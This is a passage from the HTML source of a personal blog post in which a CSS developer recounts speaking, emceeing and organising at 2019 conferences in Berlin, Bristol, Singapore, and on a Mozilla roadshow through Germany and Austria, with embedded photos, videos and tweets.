&lt;img srcset=&quot;/images/posts/talking-css-2019/yglf5-480.jpg 480w, /images/posts/talking-css-2019/yglf5-640.jpg 640w, /images/posts/talking-css-2019/yglf5-960.jpg 960w, /images/posts/talking-css-2019/yglf5-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/yglf5-640.jpg&quot; alt=&quot;Sightseeing at Trakai with Kyle Simpson&quot;&gt;
&lt;p&gt;I don&apos;t know when I&apos;ll get the chance to go back to Lithuania, but I really hope it&apos;s sooner than later.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/mraMWuOXhjw&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;em&gt;Bonus adventure time:&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Our flight home from Vilnius got delayed on the first leg resulting in Wei and I being stuck in Berlin for 24 hours. If this had happened a year ago, I would have been less chill than I was but this time, I knew I had people in Berlin. And we ended up having a pretty good time in Berlin. More on Berlin next…&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt; @ CSSconf EU&lt;/h2&gt;
&lt;p&gt;Ah, &lt;a href=&quot;https://2019.cssconf.eu/&quot;&gt;CSSconf EU&lt;/a&gt;. I can&apos;t express how grateful I am for the opportunity to be part of this wonderful event not once, but twice. &lt;a href=&quot;https://2018.cssconf.eu/&quot;&gt;CSSconf EU 2018&lt;/a&gt; was my first time in Berlin, and I have been there again a few times. This is a city where I honestly have the thought: “I could live here”.&lt;/p&gt;
&lt;p&gt;This year is the last time CSSconf EU and &lt;a href=&quot;https://2019.jsconf.eu/&quot;&gt;JSConf EU&lt;/a&gt; will be happening in their current incarnation. Consider it the end of an era. I had a lot of feels about Berlin and the conference experience during the 3 days, and wrote them up in &lt;a href=&quot;/blog/a-thank-you-and-love-letter-to-cssconfeu&quot;&gt;an earlier post&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Dear community, we have one of the bigger and tougher announcements to make. CSSconf EU 2019 will be the last edition of the event in its current form. We will not return in 2020. Read more: &lt;a href=&quot;https://t.co/puu7rIIrJX&quot;&gt;https://t.co/puu7rIIrJX&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/LastOfType?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#LastOfType&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/CSSconfEU?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#CSSconfEU&lt;/a&gt; &lt;a href=&quot;https://t.co/eZRGBVv7qD&quot;&gt;pic.twitter.com/eZRGBVv7qD&lt;/a&gt;&lt;/p&gt;&amp;mdash; CSSconf EU (@CSSconfeu) &lt;a href=&quot;https://twitter.com/CSSconfeu/status/1125387138797920256?ref_src=twsrc%5Etfw&quot;&gt;6 May 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;But talking CSS, right? So I&apos;m typically a present-with-slides kind of speaker on a conference stage. (Meetups are a different matter) But some time last year, Alex (the same Alex from the &lt;a href=&quot;#--jsheroes&quot;&gt;JSHeroes section&lt;/a&gt;) convinced me that my no slides approach to explaining layout concepts with DevTools would make a great talk.&lt;/p&gt;
&lt;p&gt;Fast forward half a year and I&apos;m about to go on stage in front of 800 developers with a brand new talk that&apos;s basically just me resizing the browser for 30 minutes. It&apos;s no surprise that I would have a face that looked like this:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfeu-480.jpg 480w, /images/posts/talking-css-2019/cssconfeu-640.jpg 640w, /images/posts/talking-css-2019/cssconfeu-960.jpg 960w, /images/posts/talking-css-2019/cssconfeu-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfeu-640.jpg&quot; alt=&quot;Just before going on at CSSconf EU 2019&quot;&gt;
&lt;p&gt;There were lots of friendly faces near the front of the stage and once I started talking, I got swept up in the actual CSS like the nerd that I am. The feedback from that talk was some of the kindest I&apos;d ever received and I really appreciate the opportunity to give it on that stage.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;First time seeing &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; speak, and WOW she’s just amazing. Awesome live demo of content-based sizing in the browser (horizontal and vertical!) &lt;a href=&quot;https://twitter.com/hashtag/cssconfeu?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#cssconfeu&lt;/a&gt; &lt;a href=&quot;https://t.co/x5CcYk9LaJ&quot;&gt;pic.twitter.com/x5CcYk9LaJ&lt;/a&gt;&lt;/p&gt;&amp;mdash; Jason Pamental (@jpamental) &lt;a href=&quot;https://twitter.com/jpamental/status/1134393573942542337?ref_src=twsrc%5Etfw&quot;&gt;31 May 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;I was captivated by all the talks from start to finish, and super chuffed to meet &lt;a href=&quot;https://twitter.com/regocas&quot;&gt;Manuel Rego&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/jpamental&quot;&gt;Jason Pamental&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/teffcode&quot;&gt;Estefany Aguilar&lt;/a&gt; in person! Estefany gave a great talk on one of my favourite CSS topics, logical properties, and &lt;a href=&quot;https://docs.google.com/presentation/d/1-GOSaggySGIKmcNuDPNPE6ZZEM2H_oF2AOdcMvlG7kk/edit#slide=id.g562dbb611a_0_0&quot;&gt;her slides&lt;/a&gt; were gorgeous.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfeu2-480.jpg 480w, /images/posts/talking-css-2019/cssconfeu2-640.jpg 640w, /images/posts/talking-css-2019/cssconfeu2-960.jpg 960w, /images/posts/talking-css-2019/cssconfeu2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfeu2-640.jpg&quot; alt=&quot;Selfie with 2 amazing women, Sareh Heidari and Estefany Aguilar at CSSconf EU 2019&quot;&gt;
&lt;p&gt;She also dropped big news at the end of her talk, that &lt;a href=&quot;https://twitter.com/cssconfco&quot;&gt;CSS Conf Columbia&lt;/a&gt; would be the newest addition to the CSSConf family and would be taking place in March 2020. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;party popper&quot;&gt;🎉&lt;/span&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfeu3-480.jpg 480w, /images/posts/talking-css-2019/cssconfeu3-640.jpg 640w, /images/posts/talking-css-2019/cssconfeu3-960.jpg 960w, /images/posts/talking-css-2019/cssconfeu3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfeu3-640.jpg&quot; alt=&quot;With Sher Minn before her talk at JSConf EU&quot;&gt;
&lt;p&gt;CSSconf EU speakers also get to attend JSConf EU and so I got to watch my home girl, &lt;a href=&quot;https://twitter.com/piratefsh&quot;&gt;Sher Minn&lt;/a&gt; blow everyone&apos;s mind with her talk on &lt;a href=&quot;http://piratefsh.github.io/presentations/jsconfeu-retro-art/&quot;&gt;recreating retro computer art&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfeu4-480.jpg 480w, /images/posts/talking-css-2019/cssconfeu4-640.jpg 640w, /images/posts/talking-css-2019/cssconfeu4-960.jpg 960w, /images/posts/talking-css-2019/cssconfeu4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfeu4-640.jpg&quot; alt=&quot;Team Nexmo (Alex, Garann and I) at sunset&quot;&gt;
&lt;p&gt;Team Nexmo was pretty well represented this time, with &lt;a href=&quot;&quot;&gt;Garann Means&lt;/a&gt; rocking the main stage talking about &lt;a href=&quot;https://2019.jsconf.eu/garann-means/what-happened-to-my-javascript-phone.html&quot;&gt;the missing JavaScript phone we were promised&lt;/a&gt;, while Alex&apos;s coffee ordering app being well-utilised throughout the 2 days.&lt;/p&gt;
&lt;p&gt;Berlin is a special place for me. And CSSconf EU is a community and an experience I will remember for the rest of my life. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/ZRtzk0371tk&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United Kingdom&quot;&gt;🇬🇧&lt;/span&gt; @ Pixel Pioneers Bristol&lt;/h2&gt;
&lt;p&gt;Next stop, Bristol. I didn&apos;t know much about Bristol, other than the fact that &lt;a href=&quot;&quot;&gt;Rachel Andrew&lt;/a&gt; lives there, and that it&apos;s really quite pretty.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Lovely day for a run in Bristol &lt;a href=&quot;https://twitter.com/hashtag/running?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#running&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/Bristol?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#Bristol&lt;/a&gt; &lt;a href=&quot;https://t.co/wraNvN9eg4&quot;&gt;pic.twitter.com/wraNvN9eg4&lt;/a&gt;&lt;/p&gt;&amp;mdash; Rachel Andrew (@rachelandrew) &lt;a href=&quot;https://twitter.com/rachelandrew/status/1123146940131282944?ref_src=twsrc%5Etfw&quot;&gt;30 April 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;I had corresponded with &lt;a href=&quot;https://twitter.com/oliverlindberg&quot;&gt;Oliver Lindberg&lt;/a&gt; the year before about speaking at &lt;a href=&quot;https://pixelpioneers.co/&quot;&gt;Pixel Pioneers&lt;/a&gt;, and this time, because I was already in Europe, everything worked out.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/pixelpioneers-480.jpg 480w, /images/posts/talking-css-2019/pixelpioneers-640.jpg 640w, /images/posts/talking-css-2019/pixelpioneers-960.jpg 960w, /images/posts/talking-css-2019/pixelpioneers-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/pixelpioneers-640.jpg&quot; alt=&quot;On stage at Pixel Pioneers 2019&quot;&gt;
&lt;p&gt;This was the same talk I gave in Berlin and the feedback from CSSconf EU made me feel slightly better because if I had bombed that, I would probably had to rethink my conference talks for the rest of the year. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;see-no-evil monkey&quot;&gt;🙈&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Pixel Pioneers is a very locally-focused conference and a contrast from CSSconf EU, but boy, was it a great conference, both to attend and speak at. The only minor hitch was that I&apos;d finally run out of conference luck, and my computer decided to freeze right in the middle of my talk.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/pixelpioneers2-480.jpg 480w, /images/posts/talking-css-2019/pixelpioneers2-640.jpg 640w, /images/posts/talking-css-2019/pixelpioneers2-960.jpg 960w, /images/posts/talking-css-2019/pixelpioneers2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/pixelpioneers2-640.jpg&quot; alt=&quot;Family photo after Pixel Pioneers 2019&quot;&gt;
&lt;p&gt;Because I needed to reboot, and my work computer needs at least a good 5 minutes to start up, I really put our emcee, &lt;a href=&quot;https://twitter.com/philhawksworth&quot;&gt;Phil Hawksworth&lt;/a&gt;, on the spot by asking him to tell jokes for at least 5 minutes. Phil was brilliant as an emcee, plus, he gave a talk of his own, so all the kudos to him.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Phil doing me a solid while I frantically reboot in the background&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2019/pixelpioneers3-480.jpg 480w, /images/posts/talking-css-2019/pixelpioneers3-640.jpg 640w, /images/posts/talking-css-2019/pixelpioneers3-960.jpg 960w, /images/posts/talking-css-2019/pixelpioneers3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/pixelpioneers3-640.jpg&quot; alt=&quot;Phil distracting the crowd with engaging questions&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;After a lot of running around since April, it was finally time to head home for my last major event of the summer conference season. Lots of traveling does make coming home a more significant event, especially when you have people to come home to.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;it&amp;#39;s been a pretty eventful 2 weeks. saw familiar places and new ones, met and made many friends, had plenty of feels 😭🥰😁&lt;br&gt;now i&amp;#39;m heading home to cap off my summer conference season with &lt;a href=&quot;https://twitter.com/jsconfasia?ref_src=twsrc%5Etfw&quot;&gt;@jsconfasia&lt;/a&gt; 🇸🇬&lt;br&gt;coming home ❤️&lt;br&gt;that does have a nice ring to it, doesn&amp;#39;t it?&lt;/p&gt;&amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1137356550597742592?ref_src=twsrc%5Etfw&quot;&gt;8 June 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/9lGyfc2q1VM&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My first gig on a conference stage was emcee-ing for &lt;a href=&quot;https://2015.cssconf.asia/&quot;&gt;CSSConf.Asia 2015&lt;/a&gt;. Because I was too cheap to pay for a ticket. That&apos;s the truth. I&apos;ve always felt more relaxed being an emcee than being a speaker because I feel that nobody remembers the emcee.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/jsconfasia-480.jpg 480w, /images/posts/talking-css-2019/jsconfasia-640.jpg 640w, /images/posts/talking-css-2019/jsconfasia-960.jpg 960w, /images/posts/talking-css-2019/jsconfasia-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsconfasia-640.jpg&quot; alt=&quot;Emcee-ing Day 1 with Martin Verdejo&quot;&gt;
&lt;p&gt;The emcee&apos;s job is to make the speakers look good, and entertain the audience just in case things go wrong on the technical side of things. As someone who has the useless ability of coming up with nonsense on a moment&apos;s notice, I&apos;m fairly comfortable with this role.&lt;/p&gt;
&lt;p&gt;We traditionally run a gameshow before the start of &lt;a href=&quot;https://2019.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt; as a warm-up, and this year the game was Loop of Fortune, a parody of Wheel of Fortune from the 90s. Also a chance for me to showcase some Singlish. It&apos;s my city, and I&apos;ll do what I like. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;crazy eyes face&quot;&gt;🤪&lt;/span&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Ru8pmAyZARI&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;But this year, I was also a co-organiser with &lt;a href=&quot;https://twitter.com/serrynaimo&quot;&gt;Thomas Gorissen&lt;/a&gt;, who had been shouldering the bulk of the workload for the past 7 years. Prior to the conference itself, I was mainly helping out with talk curation, reaching out to speakers, scholarships and wholy in charge of volunteer management.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/jsconfasia2-480.jpg 480w, /images/posts/talking-css-2019/jsconfasia2-640.jpg 640w, /images/posts/talking-css-2019/jsconfasia2-960.jpg 960w, /images/posts/talking-css-2019/jsconfasia2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsconfasia2-640.jpg&quot; alt=&quot;Closing out JSConf.Asia 2019 with Thomas Gorissen and all speakers on stage&quot;&gt;
&lt;p&gt;I don&apos;t really have a proper approach to running a team of people, because honestly, I never thought of myself as someone who&apos;d lead the charge. I&apos;m rubbish at delegating tasks, and there were so many things that I could have done better in terms of communication and scheduling. But I guess you live and learn.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;When your best mate also agrees to be a volunteer&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2019/jsconfasia3-480.jpg 480w, /images/posts/talking-css-2019/jsconfasia3-640.jpg 640w, /images/posts/talking-css-2019/jsconfasia3-960.jpg 960w, /images/posts/talking-css-2019/jsconfasia3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsconfasia3-640.jpg&quot; alt=&quot;Wei, Bæla and I catching a spare moment during the conference&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Being part of the organising committee meant liaising with all the people behind the scenes who put in a lot of work to make the conference run smoothly, and I&apos;m grateful for all of them, for their cooperation and understanding given how unpredictable things could be during the event itself.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Nice to have conference friends come to my home country for a change&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2019/jsconfasia4-480.jpg 480w, /images/posts/talking-css-2019/jsconfasia4-640.jpg 640w, /images/posts/talking-css-2019/jsconfasia4-960.jpg 960w, /images/posts/talking-css-2019/jsconfasia4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsconfasia4-640.jpg&quot; alt=&quot;TechSpeakers at JSConf.Asia 2019&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Most of the feedback we received was very heartening, plus some suggestions for improvements. But it means a lot when people tell us that this is a world-class conference.&lt;/p&gt;
&lt;p&gt;I can&apos;t tell you how many times I&apos;ve heard locals say how the conferences in the United States or Europe are better than the ones we have here. But hopefully this mindset will start to change.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Waiting in this wonderful airport in Singapore (fastest checking ever!), ruminating on the wonderful last three days at &lt;a href=&quot;https://twitter.com/hashtag/jsconfasia?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#jsconfasia&lt;/a&gt;, I can&amp;#39;t help but be thankful for the good talks, top-notch discussions and meetings with developers, and last but not least—the great food!&lt;/p&gt;&amp;mdash; Gil Tayar (@giltayar) &lt;a href=&quot;https://twitter.com/giltayar/status/1140182960663957505?ref_src=twsrc%5Etfw&quot;&gt;16 June 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;It was chaotic at time, things went wrong, and a lot of sprinting and lifting heavy objects took place. But overall, I think we can consider &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt; 2019 a successful conference. Go team! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/jsconfasia5.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/jsconfasia5@2x.jpg 2x&quot; alt=&quot;JSConf.Asia 2019 organising team&quot;&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Austria&quot;&gt;🇦🇹&lt;/span&gt; @ Mozilla Developer Roadshow EU&lt;/h2&gt;
&lt;p&gt;Going on the &lt;a href=&quot;/blog/talking-about-talking-css/&quot;&gt;Mozilla Developer Asia Roadshow back in 2017&lt;/a&gt; was a fairly significant milestone for my professional career. Not that it&apos;s much of a career at this point, but it was the start of my relationship with Mozilla, and where I got to know 2 amazing women, &lt;a href=&quot;https://twitter.com/SandraPersing&quot;&gt;Sandra Persing&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/alispivak&quot;&gt;Ali Spivak&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I have the utmost respect and admiration for them both and it has been a privilege to have another opportunity to go on the road once again with them for this year&apos;s series of roadshows. The format is similar to what we did 2 years ago, but a bit tighter because travel between cities was relatively quick.&lt;/p&gt;
&lt;p&gt;It was a 4-cities-in-4-days schedule, but because Sandra was so organised, it felt like everything was running like a well-oiled machine. The first stop was Nuremburg, I hadn&apos;t been there before and it took 4 plane rides to get there, but I liked the city. It also happened to be the place we spent the most time (all of nearly 2 days).&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Team MDR EU 2019&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2019/mdreu-480.jpg 480w, /images/posts/talking-css-2019/mdreu-640.jpg 640w, /images/posts/talking-css-2019/mdreu-960.jpg 960w, /images/posts/talking-css-2019/mdreu-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/mdreu-640.jpg&quot; alt=&quot;The MDR EU team at Munich&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I was giving the a version of the DevTools talk I did back in June, but had since added extra stuff for Grid and different examples. This is the most “Lego” talk I ever had, and I would be giving it a number of times later this year as well, so I had way more content than 30 minutes and could choose different pieces depending on the time constraints.&lt;/p&gt;
&lt;p&gt;For Nuremburg, I went with content-based sizing, flexbox and grid. I thought it went fairly okay, except that we were supposed to do a screen recording for post-production purposes but guess what this idiot did? Or more specifically, not do?&lt;/p&gt;
&lt;p&gt;You&apos;re absolutely right. I DID NOT press the record button.&lt;/p&gt;
&lt;p&gt;Oh well, 3 more stops to go…&lt;/p&gt;
&lt;p&gt;Next was Munich. And it was a nice venue at the Microsoft offices with green walls, and we were joking around about the possibilities of that green background. A lot of photos came out from this stop, including my favourite shot of the whole Roadshow &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pointing down&quot;&gt;👇&lt;/span&gt;.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/mdreu2.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/mdreu2@2x.jpg 2x&quot; alt=&quot;Marc Thiele and I doing a tech check&quot;&gt;
&lt;p&gt;Anyway, this time I DID manage to press the record button and redeem myself a little bit. I thought the talk went much smoother this time as well, so maybe it was meant to be that I didn&apos;t record the first one.&lt;/p&gt;
&lt;p&gt;Couldn&apos;t hang around for long though because the next day we were headed off to Linz in Austria. But the train ride was absolutely lovely. I&apos;m very much a fan of traveling within Europe on trains now. The Linz stop was mindblowing because more people showed up than RSVP-ed. I&apos;ve honestly NEVER seen this at tech meetup before, so I was amazed.&lt;/p&gt;
&lt;p&gt;However, I was again fairly incompetent with the button pressing and only remembered to hit record after 10 minutes, so that was a moot recording as well. Oh well, I guess we&apos;ll always have Munich.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/so6LqPZG80M&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;The last stop of the roadshow was Vienna. I was genuinely excited for Vienna because of the “Viennese mafia”, comprised of &lt;a href=&quot;https://twitter.com/eva_trostlos&quot;&gt;Eva Lettner&lt;/a&gt;, &lt;a href=&quot;http://okonet.ru/&quot;&gt;Andrey Okonetchnikov&lt;/a&gt; and &lt;a href=&quot;http://matuzo.at/&quot;&gt;Manuel Matuzovic&lt;/a&gt;, who had passionately insisted that Vienna was the best city in the world when I first met them in Saint Petersberg.&lt;/p&gt;
&lt;p&gt;The city did not disappoint. It was beautiful. This stop was especially fun for me because instead of my talk, I had a fireside conversation with &lt;a href=&quot;https://twitter.com/mxbck&quot;&gt;Max Böck&lt;/a&gt; about the CSS mindset. I share a lot of the same sentiments as he does about how we approach CSS so it was effortless to build off each other&apos;s points throughout the conversation.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/mdreu4-480.jpg 480w, /images/posts/talking-css-2019/mdreu4-640.jpg 640w, /images/posts/talking-css-2019/mdreu4-960.jpg 960w, /images/posts/talking-css-2019/mdreu4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/mdreu4-640.jpg&quot; alt=&quot;Max Böck and I before the fireside chat at Vienna&quot;&gt;
&lt;p&gt;Fun fact. I managed to hit my not-so-secret secret agenda of going climbing (just bouldering, actually) at EVERY stop! Crowning achievement &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/mdreu3-480.jpg 480w, /images/posts/talking-css-2019/mdreu3-640.jpg 640w, /images/posts/talking-css-2019/mdreu3-960.jpg 960w, /images/posts/talking-css-2019/mdreu3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/mdreu3-640.jpg&quot; alt=&quot;4 climbing gyms in 4 cities&quot;&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ CONNECT Asia 2019&lt;/h2&gt;
&lt;p&gt;Immediately after the Mozilla Developer Roadshow was &lt;a href=&quot;https://asia.womenwhocode.dev/&quot;&gt;CONNECT Asia&lt;/a&gt;, organised by &lt;a href=&quot;https://www.womenwhocode.com/singapore&quot;&gt;Women Who Code&lt;/a&gt;. I had committed to this fairly early in the year and personally, it matters to me to speak at home. I could go on about all the reasons why, but let&apos;s save that for another day.&lt;/p&gt;
&lt;p&gt;The schedule was unfortunately such that I had to get to the venue straight from the airport, but Singapore is tiny enough for this not to be too much of an issue. I didn&apos;t sleep that much on the 8-hour leg from Doha to Singapore though and ended up hiding in the library (it was at the venue) for a short nap.&lt;/p&gt;
&lt;p&gt;I have mentioned this earlier in the &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt; section, but I generally have an accent, either American or British, when I go on conference stages. But this time, I decided to keep my local accent. I may not be Singaporean, but my Singlish is on point.&lt;/p&gt;
&lt;p&gt;Because this was a multi-track event, there weren&apos;t that many people in the audience either so I went for a much more informal tone of voice than I normally do at conferences (meet-ups are a completely different matter, check SingaporeCSS for videos). Little did I know that more people would stream in later. Oh well, too late to change it up half-way through.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/connectasia.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/connectasia@2x.jpg 2x&quot; alt=&quot;Friends in the audience&quot;&gt;
&lt;p&gt;I did have a good number of friends and people who knew me in the audience, so it was really very fun for me. I don&apos;t know how much fun they had. Got some good meme-worthy photos out of them though.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/connectasia2-480.jpg 480w, /images/posts/talking-css-2019/connectasia2-640.jpg 640w, /images/posts/talking-css-2019/connectasia2-960.jpg 960w, /images/posts/talking-css-2019/connectasia2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/connectasia2-640.jpg&quot; alt=&quot;Apparently I like triangles&quot;&gt;
&lt;p&gt;The talk also happened to be on Malaysia&apos;s national day, so how could I not centre my main demo around our national flag? My Malaysian dev friends were totally in on the idea and suspected I&apos;d end up doing something like that. It was definitely 100% worth the effort to make it to this event.&lt;/p&gt;
